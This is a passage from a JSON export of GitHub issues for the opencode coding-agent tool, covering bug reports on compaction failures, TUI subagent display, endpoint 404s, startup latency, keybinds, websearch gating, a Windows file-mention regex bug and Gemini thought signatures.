when constructing the history sent to the compaction agent. This is similar to the `stripReasoning` approach proposed in #31188. Tool history may also need to be rendered so that the compaction prompt cannot resemble an unfinished assistant/tool continuation. I have not modified OpenCode, so I cannot yet confirm which exact change is sufficient. Related issues * #31188 - Related underlying issue: assistant reasoning is replayed into compaction input. Different failure mode. * #22329 - Similar DeepSeek/compaction loop behavior, but the observed mechanism appears different. Workaround Disabling automatic compaction avoids this failure: ```json \"compaction\": { \"auto\": false, \"prune\": false } ``` This is only a workaround, since automatic compaction is then unavailable for long-running sessions. ### Plugins None ### OpenCode version 1.18.15 ### Steps to reproduce _No response_ ### Screenshot and/or share link 1. Configure OpenCode with a DeepSeek reasoning model through an OpenAI-compatible provider. Example relevant config: \"provider\": { \"ds4\": { \"npm\": \"@ai-sdk/openai-compatible\", \"options\": { \"baseURL\": \"http://127.0.0.1:8000/v1\" }, \"models\": { \"deepseek-v4-flash\": { \"limit\": { \"context\": 262144, \"output\": 65536 } } } } }, \"model\": \"ds4/deepseek-v4-flash\", \"compaction\": { \"auto\": true, \"prune\": false, \"reserved\": 16000 } 2. Start a long-running agent session that contains multiple reasoning turns and tool calls. 3. Continue until OpenCode triggers automatic compaction. 4. Observe the compaction request. 5. In the reproduced failures, instead of producing a summary, the DeepSeek model starts continuing patterns from the injected conversation history inside its reasoning, including text resembling: [Assistant tool call]: ... [Tool result]: ... 6. The compaction request does not successfully produce a summary and the session becomes unusable. This has been reproduced in two independent sessions. Inspection of OpenCode's stored session data showed that the failure occurs inside the compaction request itself. The compaction history includes previous hidden assistant reasoning and tool-call history. During the failed compaction, the model begins continuing those patterns instead of following the summarization instruction. ### Operating System MacOs 26.6.1 ### Terminal Terminal.app on macOS",
        "url": "https://github.com/anomalyco/opencode/issues/42363",
        "createdAt": "2026-08-13T16:55:24Z",
        "updatedAt": "2026-08-13T17:00:28Z",
        "timestamp": "2026-08-13T17:00:28Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "scalpe1",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42367",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "tui: subagent model not shown anywhere",
        "text": "## Summary In the TUI, the model used by a subagent is not displayed anywhere: neither in the subagent's block in the main thread, nor in the task/session list, nor in the subagent detail view. ## Environment - opencode version: 1.18.16 (`opencode --version`) - OS: macOS Darwin 25.6.0 (arm64) - Terminal: TERM=xterm-256color - Shell: /bin/zsh - Install/channel: release (1.18.16) - Active plugins: none found (no `opencode.json`/`opencode.jsonc` in cwd or `~/.config/opencode/`, no `.opencode/plugin(s)`) ## Reproduction 1. In a session, spawn a subagent (foreground or background). 2. Inspect the subagent's block in the main thread, the task/session list, and the subagent detail view. 3. Nowhere is the model the subagent runs with displayed — only its name/status. ## Expected Behavior The subagent's configured model should be visible wherever the subagent is shown (main thread block, task/session list, detail view). ## Actual Behavior The subagent model is not displayed anywhere. Expanding the subagent block does not reveal it. ## Additional Context Observed while orchestrating multiple parallel subagents from the build agent. Consistent/reproducible, not intermittent. No workarounds found.",
        "url": "https://github.com/anomalyco/opencode/issues/42367",
        "createdAt": "2026-08-13T17:09:51Z",
        "updatedAt": "2026-08-13T17:12:50Z",
        "timestamp": "2026-08-13T17:12:50Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "reisi007",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42368",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "tui: no live preview of running subagent's last message",
        "text": "## Summary In the TUI, while a subagent is running in the background, there is no live preview of the subagent's last message in the main agent thread — the step shows only its status/spinner. ## Environment - opencode version: 1.18.16 (`opencode --version`) - OS: macOS Darwin 25.6.0 (arm64) - Terminal: TERM=xterm-256color - Shell: /bin/zsh - Install/channel: release (1.18.16) - Active plugins: none found (no `opencode.json`/`opencode.jsonc` in cwd or `~/.config/opencode/`, no `.opencode/plugin(s)`) ## Reproduction 1. Start a background subagent. 2. In the main agent view, watch the running subagent step. 3. No live preview of the subagent's last message appears while it is running. ## Expected Behavior While a subagent is running, the main agent thread should show a live preview of the subagent's latest message. ## Actual Behavior A running (background) subagent shows no preview of its last message in the main thread — only status/spinner. ## Additional Context Observed while orchestrating multiple parallel subagents (implementers + verifier) from the build agent. Consistent/reproducible, not intermittent. No workarounds found.",
        "url": "https://github.com/anomalyco/opencode/issues/42368",
        "createdAt": "2026-08-13T17:09:52Z",
        "updatedAt": "2026-08-13T17:12:47Z",
        "timestamp": "2026-08-13T17:12:47Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "reisi007",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42369",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "tui: add right sidebar showing background activities (running subagents)",
        "text": "## Summary Feature request: show background activities (running/background subagents) in a **right sidebar** in the TUI — a live list with status, expandable to preview the subagent's last message and see its model. ## Environment - opencode version: 1.18.16 (`opencode --version`) - OS: macOS Darwin arm64 - Terminal: TERM=xterm-256color - Shell: /bin/zsh - Install/channel: release (1.18.16) - Active plugins: none found ## Proposal Add a right-side panel in the TUI that lists all running (and optionally recently finished) background subagents: - Each entry shows the subagent name, a live status/spinner, and the model it runs with. - Entries are expandable to show the subagent's latest message / detail. - The panel is persistent while background tasks run, so the user does not lose the main-thread context. ## Motivation When the main agent spawns multiple background subagents in parallel (orchestration), there is currently almost no visibility in the TUI: the main thread only shows a status line for running background subagents, the model is not shown anywhere, and there is no live preview of the subagent's last message. ## Acceptance Criteria - TUI shows a right sidebar listing running background subagents with name + status/spinner + model. - Entries are expandable to preview the subagent's last message. - Optionally, recently finished tasks remain listed briefly with their final status. ## Related - #42367 — tui: subagent model not shown anywhere - #42368 — tui: no live preview of running subagent's last message",
        "url": "https://github.com/anomalyco/opencode/issues/42369",
        "createdAt": "2026-08-13T17:12:13Z",
        "updatedAt": "2026-08-13T17:15:22Z",
        "timestamp": "2026-08-13T17:15:22Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "needs:compliance"
        ],
        "author": "reisi007",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42370",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Changes don't discard when message is reverted",
        "text": "### Description Changes don't discard when message is reverted (in some projects) I use other agents too (for example: Antigravity), they successfully discard all changes from the reverted point, but in some project, open code doesn't do that ### Plugins Caveman, Magic Context ### OpenCode version 1.18.18 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Windows 10 22H2 (19045.6466) ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42370",
        "createdAt": "2026-08-13T17:20:58Z",
        "updatedAt": "2026-08-13T17:23:56Z",
        "timestamp": "2026-08-13T17:23:56Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "AssabTigleG",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42371",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "tui: /compact fails with \"Compaction produced no summary\" (deepseek flash)",
        "text": "## Summary Running `/compact` in the TUI consistently fails: the compaction step is marked as failed (red `x Compaction`) and reports **\"Compaction produced no summary\"**. No session summary is produced, so context compaction does not work. ## Environment - opencode version: 1.18.16 (`opencode --version`) - OS: macOS Darwin arm64 - Terminal: TERM=xterm-256color - Shell: /bin/zsh - Install/channel: release (1.18.16) - Active plugins: none found (no `opencode.json`/`opencode.jsonc` in cwd or `~/.config/opencode/`) ## Reproduction 1. Open a session in the TUI (active model: `deepseek flash`). 2. Run `/compact`. 3. Observe the red `x Compaction` entry and the message `Compaction produced no summary`. ## Expected Behavior Compaction runs and produces a summary of the session that is applied, so the context is compacted and the conversation can continue normally. ## Actual Behavior Consistent failure: no summary is produced. The compaction step is marked as failed (red `x Compaction`) with the message `Compaction produced no summary`. ## Additional Context - Consistently reproducible, not intermittent. - Active model: `deepseek flash`. Hypothesis: compaction uses the active model, and `deepseek flash` returns empty/unsupported content for the summary step (or the summary request fails). Worth checking whether compaction succeeds with other models, and surfacing the underlying model response/error instead of the generic \"produced no summary\" message. - No workarounds found.",
        "url": "https://github.com/anomalyco/opencode/issues/42371",
        "createdAt": "2026-08-13T17:25:44Z",
        "updatedAt": "2026-08-13T17:27:11Z",
        "timestamp": "2026-08-13T17:27:11Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "reisi007",
        "state": "open",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42374",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Endpoints 404?",
        "text": "### Description I use Routerly and OpenCode, and have been using a combination of OpenCode Zen and Go subscriptions. Until today, this worked fine until I noticed models running very slow - timeouts. To help work around those issues, I re-added the models and created policy in an attempt to see if Routerly will choose models that are performing better. (Performance-based policy) Using the same endpoint URLs I had been using yesterday... And comparing to documentation... These appear correct. Getting 404 from both Zen and Go endpoints. https://opencode.ai/zen/v1/chat/completions and https://opencode.ai/zen/go/v1/chat/completions returns 404 for all models. <img width=\"1408\" height=\"721\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8829ead9-ea8b-4bea-8a0a-ed253902e205\" /> Here is a request I captured from Routerly for big-pickle to see what the request data that is sent to opencode.ai looks like: ``` habanero:~:% nc -vl 4444 Listening on 0.0.0.0 4444 Connection received on 10.0.5.94 36174 POST /zen/v1/chat/completions/chat/completions HTTP/1.1 host: 192.168.44.12:4444 connection: keep-alive Content-Type: application/json Authorization: Bearer <API token redacted> accept: */* accept-language: * sec-fetch-mode: cors user-agent: node accept-encoding: gzip, deflate content-length: 98 {\"model\":\"big-pickle\",\"messages\":[{\"role\":\"user\",\"content\":\"ping\"}],\"max_tokens\":5,\"stream\":false} ``` Surely, I am doing something wrong here - and Anomaly didn't just throw in the towel? ### Plugins Routerly ### OpenCode version 1.18.13 ### Steps to reproduce 1. Configure endpoints according to https://opencode.ai/docs/zen/#endpoints and https://opencode.ai/docs/go/#endpoints 2. See 404 ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42374",
        "createdAt": "2026-08-13T17:28:36Z",
        "updatedAt": "2026-08-13T17:33:47Z",
        "timestamp": "2026-08-13T17:33:47Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [],
        "author": "salcedo",
        "state": "open",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42376",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Startup takes 10-30s, blocking network fetch of models.dev/api.json on every boot when cache is stale",
        "text": "### Description OpenCode blocks startup on a synchronous network fetch of the model registry (`https://models.dev/api.json`, ~3.6MB) whenever the local cache (`~/.cache/opencode/models.json`) is older than the 5-minute TTL. On connections where that host is slow/unstable, this adds **10-30 seconds** to every launch before the TUI appears. Measured on opencode 1.18.18, Linux, regular home connection (no proxy): | Condition | Boot gap (config-load → interactive) | |---|---| | models cache fresh (<5 min) | 0.7-0.8s | | models cache stale, network slow | **10-30s** | | fetch pointed at localhost mirror | 0.74-0.77s | The fetch latency itself was measured up to **16.4s TTFB** (plus occasional TLS errors) for `models.dev/api.json`. The call uses `AbortSignal.timeout(10000)` and Bun's native `fetch()`, which does **not** honor `HTTP_PROXY`/`HTTPS_PROXY`. This is related to #9758: the existing `OPENCODE_DISABLE_MODELS_FETCH` flag is broken by design it only stops the background refresh timer, not the lazy `Data()` read path, and setting it bypasses the bundled snapshot so the model picker breaks. Not a usable escape hatch. **Request:** make the boot-time registry fetch non-blocking (render TUI immediately from cache/snapshot, refresh in background), honor `HTTP_PROXY`/`HTTPS_PROXY`, and provide a working `offline`/`skip_models_fetch` config (or fix `OPENCODE_DISABLE_MODELS_FETCH`). ### Plugins none required, reproduced with an empty plugin array. (User's real config also has opencode-mem@2.22.2, @tarquinen/opencode-dcp@3.1.14, opencode-pty@0.3.6, ./plugins/caveman/plugin.js; these add ~2s total and are not the cause.) ### OpenCode version 1.18.18 ### Steps to reproduce 1. Install opencode 1.18.18 (no plugins needed). 2. Age the cache: touch -d \"10 minutes ago\" ~/.cache/opencode/models.json (or wait >5 min after last run). 3. Launch: script -qc \"opencode\" /dev/null (or a normal terminal). 4. Time from invocation until the TUI is interactive; compare to a run where the cache was just refreshed. ### Screenshot and/or share link _No response_ ### Operating System Linux (Arch) ### Terminal Alacritty",
        "url": "https://github.com/anomalyco/opencode/issues/42376",
        "createdAt": "2026-08-13T17:30:27Z",
        "updatedAt": "2026-08-13T17:32:00Z",
        "timestamp": "2026-08-13T17:32:00Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "Vedant9500",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42377",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "fix(tui): generalize contextual keybind precedence",
        "text": "## Problem Context-specific TUI actions can share a physical key with global or managed-textarea bindings. PR #42366 fixes the observed Shell-tab failure by giving the default `Ctrl+D` binding first refusal, but the mechanism is deliberately literal and local: ```ts if (event.name !== \"d\" || !event.ctrl) return if (!shortcuts.list(\"composer.shell.kill\").includes(\"ctrl+d\")) return ``` A user rebinding `composer.shell.kill` to another editor-owned key can recreate the same precedence bug. Other textarea-backed contextual surfaces may have the same class of issue but do not yet have collision tests. ## Investigation Confirmed during #42366: - The Shell tab displayed `kill ctrl+d` but no `DELETE /api/shell/:id` reached the server. - The existing server removal path correctly terminated the process group once invoked. - A raw key interceptor in the active Shell tab restored the live TUI behavior. Checked adjacent surfaces: - `composer.subagent.interrupt` with default `Ctrl+D` passes the current focused-textarea/global-exit harness, so it is not a confirmed sibling bug. - DialogSelect-based delete actions are modal and use `InputRenderable`, which the managed textarea layer excludes. - Mini-TUI queued-prompt and subagent actions already use elevated priority. Still needing focused interaction coverage: - Permission rejection textarea: Return / `Ctrl+D` - Textual FormPrompt controls: Return / Tab / Escape - Autocomplete destructive action: `Ctrl+D` - Composer navigation and configured non-default bindings while an editor remains focused ## Desired direction Provide a reusable, configuration-aware way for an active contextual layer to take precedence over global/editor bindings. Avoid per-component raw-event checks for one literal default shortcut. ## Acceptance criteria - Contextual commands can claim their configured bindings without hard-coding physical keys. - Disabled (`none`) bindings remain disabled. - Multi-binding and rebinding behavior is preserved. - Focused textarea editing still wins when no active contextual command claims the key. - Add collision tests for the affected composer and textarea-backed surfaces above.",
        "url": "https://github.com/anomalyco/opencode/issues/42377",
        "createdAt": "2026-08-13T17:41:58Z",
        "updatedAt": "2026-08-13T17:41:58Z",
        "timestamp": "2026-08-13T17:41:58Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42378",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "websearch tool hidden when using the official OpenCode Go (opencode-go) provider",
        "text": "### Description The [tools docs](https://opencode.ai/docs/tools/) say `websearch` \"is only available when using the OpenCode provider or when the `OPENCODE_ENABLE_EXA` environment variable is set\". I'm using the official **OpenCode Go** subscription ([docs](https://opencode.ai/docs/go/), model IDs use the `opencode-go/` prefix, e.g. `opencode-go/deepseek-v4-flash`, API key added via `/connect`). However, `websearch` is filtered out of the tool list for the `opencode-go` provider. The gate is in `packages/opencode/src/tool/registry.ts`: ```ts // L58-60 export function webSearchEnabled(providerID: ProviderV2.ID, flags = { exa: false, parallel: false }) { return providerID === ProviderV2.ID.opencode || flags.exa || flags.parallel } // L286-290 if (tool.id === WebSearchTool.id) { return webSearchEnabled(input.providerID, { exa: flags.enableExa, parallel: flags.enableParallel }) } ``` `webSearchEnabled` only matches `ProviderV2.ID.opencode` exactly — the `opencode-go` provider ID never matches, so the tool is hidden unless `OPENCODE_ENABLE_EXA` / `OPENCODE_ENABLE_PARALLEL` is set. Same code on `dev` (https://github.com/anomalyco/opencode/blob/dev/packages/opencode/src/tool/registry.ts#L58-L60). Expected: `opencode-go` is an official OpenCode product (\"Go works like any other provider in OpenCode\" — https://opencode.ai/docs/go/), so it should be treated as the OpenCode provider and expose `websearch` (which needs no API key). At minimum, the docs should state that OpenCode Go does not include `websearch`. ### Plugins None ### OpenCode version 1.18.18 ### Steps to reproduce 1. Install opencode 1.18.18 2. Add OpenCode Go API key (`/connect` → OpenCode Go) 3. Start a session with `opencode-go/deepseek-v4-flash` 4. `websearch` does not appear in the available tools; setting `OPENCODE_ENABLE_EXA=1` restores it ### Screenshot and/or share link N/A ### Operating System macOS ### Terminal iTerm2",
        "url": "https://github.com/anomalyco/opencode/issues/42378",
        "createdAt": "2026-08-13T17:45:42Z",
        "updatedAt": "2026-08-13T17:48:32Z",
        "timestamp": "2026-08-13T17:48:32Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "xfqz86",
        "state": "open",
        "assignees": [
          "jlongster"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42380",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "File-mention resolver expands stray \"@\\\" in prompt content to a C:\\ drive-root attachment (Windows)",
        "text": "### Description On Windows, OpenCode's server-side prompt file-mention resolver (`SessionPrompt.resolvePromptParts`) scans the **entire** prompt text for `@` mentions and can resolve a stray `@\\` byte sequence to the **drive root** `C:\\`, then attaches the whole drive-root directory listing to the model context. The mention extractor uses: ```js FILE_REGEX = /(?<![\\w`])@(\\.?[^\\s`,.]*(?:\\.[^\\s`,.]+)*)/g ``` The character class `[^\\s`,.]` **includes backslash**, so an `@\\` sequence anywhere in the prompt — including inside a binary blob or a diff that was embedded as text — is captured as mention `X = \"\\\"`. Then, in `resolvePromptParts`: ```js // X === \"\\\\\" j = X.startsWith(\"~/\") ? join(homedir(), X.slice(2)) : path.resolve(worktree, X); // path.resolve(worktree, \"\\\\\") === \"C:\\\\\" on Windows he = stat(j); // Directory parts.push({ type: \"file\", url: \"file:///C:/\", // Wy(j).href filename: \"\\\\\", // raw mention X mime: \"application/x-directory\", }); ``` OpenCode then injects a synthetic `Called the Read tool with the following input: {\"filePath\":\"C:\\\\\"}` plus the full `C:\\` directory listing into the message. This also fires for **subagents whose tools are disabled** (e.g. `\"*\": false`), which contradicts their tool policy — they never called a tool, yet a `Read` of `C:\\` appears in their transcript. Impact: not a data leak (only top-level directory *names* are listed), but it wastes context, pollutes prompts, and produces misleading synthetic tool calls. It reproduces deterministically whenever a prompt carries binary/diff payload containing `@\\`. ### Steps to reproduce 1. On Windows, send any prompt (or a `task`-tool subagent prompt) whose text contains the two bytes `` @\\ `` where `@` is not preceded by a word character. Minimal example: a prompt containing `` foo @\\` bar ``. Any embedded binary/diff payload naturally contains such bytes. 2. Inspect the resulting user message parts. It gains: - a `file` part `{\"type\":\"file\",\"url\":\"file:///C:/\",\"filename\":\"\\\\\",\"mime\":\"application/x-directory\"}`, - a synthetic text part `Called the Read tool with the following input: {\"filePath\":\"C:\\\\\"}`, - a text part with the full `C:\\` root directory listing. ### OpenCode version 1.18.18 ### Operating System Windows 11 ### Expected behavior The file-mention resolver should not treat a lone `\\` (or `/`) as an attachable mention. A capture whose `path.resolve(worktree, X)` lands on a filesystem/drive root, or that escapes the worktree (`path.relative(worktree, j)` starts with `..` or is empty), should be rejected. Mention scanning should also avoid matching inside binary payloads / fenced code blocks. ### Actual behavior A lone `\\` captured by `FILE_REGEX` resolves to `C:\\`, `stat`s as a directory, and is attached with a synthetic `Read` of the drive root, injecting the root listing into context. ### Evidence The regex and `resolvePromptParts` code above were extracted from the shipped 1.18.18 Windows binary. The behavior reproduced identically across 5 independent real sessions (each produced a byte-identical `{\"url\":\"file:///C:/\",\"filename\":\"\\\\\",\"mime\":\"application/x-directory\"}` attachment). Related but distinct code path (TUI autocomplete): #35330.",
        "url": "https://github.com/anomalyco/opencode/issues/42380",
        "createdAt": "2026-08-13T17:50:55Z",
        "updatedAt": "2026-08-13T17:53:29Z",
        "timestamp": "2026-08-13T17:53:29Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "Maicololiveras",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:42382",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "slowless",
        "text": "mimo v2.5 free is so slow its making a readme on 10 hours.",
        "url": "https://github.com/anomalyco/opencode/issues/42382",
        "createdAt": "2026-08-13T17:53:50Z",
        "updatedAt": "2026-08-13T17:56:09Z",
        "timestamp": "2026-08-13T17:56:09Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "needs:compliance"
        ],
        "author": "tomar753ozi-sketch",
        "state": "open",
        "assignees": [
          "fwang"
        ],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:4821",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Add ability to unqueue messages",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Right now If I queue message there is no way to \"unqueue\" it. Sometimes I overcorrect the agent and It invents the fix simualteniously with me so I end up wasting its attention by parroting the solution. I want to be able unqueue the message. e.g. by clicking on it",
        "url": "https://github.com/anomalyco/opencode/issues/4821",
        "createdAt": "2025-11-27T10:10:10Z",
        "updatedAt": "2026-08-13T12:24:45Z",
        "timestamp": "2026-08-13T12:24:45Z",
        "metrics": {
          "reactions": 98,
          "comments": 23
        },
        "labels": [],
        "author": "Mishkun",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:4832",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG]: Gemini 3 Pro function calling fails - missing `thoughtSignature` support",
        "text": "# [BUG]: Gemini 3 Pro function calling fails - missing `thoughtSignature` support ## Description When using Gemini 3 Pro models (`gemini-3-pro-preview`) with function calling/tool use, requests fail with error: ``` Unable to submit request because function call `default_api:webfetch` in the 4. content block is missing a `thought_signature`. ``` ## Root Cause Gemini 3 Pro **requires** `thoughtSignature` to be preserved and passed back during multi-step function calling. This is a **mandatory validation** introduced in Gemini 3 (unlike Gemini 2.5 where it was optional). ### How Gemini 3 Thought Signatures Work 1. When model responds with a `functionCall`, it includes a `thoughtSignature` field 2. **Client MUST preserve this signature** and include it in the next request when sending `functionResponse` 3. If signature is missing → API returns 400 error Reference: https://ai.google.dev/gemini-api/docs/thought-signatures ### Expected Flow ``` Turn 1, Step 1: Request: user_prompt Response: functionCall + thoughtSignature Turn 1, Step 2: Request: user_prompt + (functionCall + thoughtSignature) + functionResponse ← signature MUST be here Response: text_output or another functionCall + signature ``` ## Current Behavior in OpenCode OpenCode does not preserve `thoughtSignature` from Gemini API responses when building subsequent requests in conversation history. The `contents` array in requests to Gemini API is missing the `thoughtSignature` field in `functionCall` parts. ## Affected Models - `gemini-3-pro-preview` (mandatory - will error) - `gemini-2.5-pro` / `gemini-2.5-flash` (optional but recommended for reasoning quality) ## Proposed Fix ### Option 1: Preserve thoughtSignature in Message History When storing model responses that contain `functionCall` parts, also store the `thoughtSignature` field. When building the next request, include the signature in the corresponding content part: ```json { \"contents\": [ { \"role\": \"model\", \"parts\": [ { \"functionCall\": { \"name\": \"webfetch\", \"args\": {...} }, \"thoughtSignature\": \"<preserved_signature>\" // ← Add this } ] } ] } ``` ### Option 2: Dummy Signature Workaround According to Google's documentation, for cases where signatures cannot be preserved (e.g., transferring from another model), you can use dummy signatures: ``` \"skip_thought_signature_validator\" ``` or ``` \"context_engineering_is_the_way_to_go\" ``` This skips validation but may degrade reasoning quality. ## Steps to Reproduce 1. Configure opencode with Gemini 3 Pro (`gemini-3-pro-preview`) 2. Ask a question that triggers tool/function calling (e.g., web search, file operations) 3. When model makes a function call and receives response, the next request fails ## Environment - OpenCode version: latest - Model: `gemini-3-pro-preview` - Provider: Google AI / Vertex AI ## Additional Context - This issue affects any multi-step agentic workflow with Gemini 3 - The Gemini CLI and official Google Gen AI SDKs handle this automatically via chat history management - OpenCode's custom provider/plugin architecture needs to explicitly handle this ## Related Links - [Gemini Thought Signatures Documentation](https://ai.google.dev/gemini-api/docs/thought-signatures) - [Dify Plugin Fix for same issue](https://github.com/langgenius/dify-official-plugins/issues/2088)",
        "url": "https://github.com/anomalyco/opencode/issues/4832",
        "createdAt": "2025-11-27T15:51:04Z",
        "updatedAt": "2026-08-12T23:34:59Z",
        "timestamp": "2026-08-12T23:34:59Z",
        "metrics": {
          "reactions": 14,
          "comments": 35
        },
        "labels": [],
        "author": "linhlban150612",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:6056",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "moonshot AI kimi k2 all get error.",
        "text": "### Description Hello. Moonshot AI can not be used for now. `Invalid request: the message at position 5 with role 'assistant' must not be empty` all Kimi K2 models shows same error. ### OpenCode version 1.0.193 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/6056",
        "createdAt": "2025-12-23T18:58:51Z",
        "updatedAt": "2026-08-13T05:11:42Z",
        "timestamp": "2026-08-13T05:11:42Z",
        "metrics": {
          "reactions": 0,
          "comments": 7
        },
        "labels": [
          "bug"
        ],
        "author": "magic-thomas",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:6719",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: slash command for reload",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request A `/reload` that reloads config files like `opencode.jsonc` of global and project level and also `.opencode/` this way without having to close and open the tui just able to reload easily could be even better done when a `/compact` is runnning",
        "url": "https://github.com/anomalyco/opencode/issues/6719",
        "createdAt": "2026-01-03T02:53:24Z",
        "updatedAt": "2026-08-13T17:57:46Z",
        "timestamp": "2026-08-13T17:57:46Z",
        "metrics": {
          "reactions": 80,
          "comments": 16
        },
        "labels": [],
        "author": "wojons",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:6815",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Add command palette action to reload configuration without restart",
        "text": "## Feature Description Add a command to the command palette that reloads/restarts OpenCode to reflect configuration changes without having to manually exit and start again. ## Use Case When making changes to OpenCode configuration files (e.g., `opencode.json`, `AGENTS.md`, etc.), users currently need to: 1. Exit OpenCode completely 2. Restart OpenCode manually This is similar to how shell users need to run `source ~/.zshrc` after editing their zsh configuration - but ideally OpenCode could handle this more seamlessly. ## Proposed Solution Add a command in the command palette (accessible via `ctrl+p`) such as: - `/reload` or `/restart` - Reloads configuration and restarts the session - Or a keyboard shortcut like `ctrl+shift+r` This command would: 1. Re-read all configuration files 2. Reload any changed settings (providers, models, keybindings, hooks, etc.) 3. Optionally preserve the current session/conversation state This would greatly improve the developer experience when: - Testing new model configurations - Adding/modifying custom tools or MCP servers - Tweaking keybindings or hooks - Updating AGENTS.md instructions",
        "url": "https://github.com/anomalyco/opencode/issues/6815",
        "createdAt": "2026-01-04T07:23:29Z",
        "updatedAt": "2026-08-13T01:12:04Z",
        "timestamp": "2026-08-13T01:12:04Z",
        "metrics": {
          "reactions": 92,
          "comments": 8
        },
        "labels": [],
        "author": "leeweisern",
        "state": "closed",
        "assignees": [
          "thdxr"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:7103",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Support Agent-Authored PRs in Permission Checks",
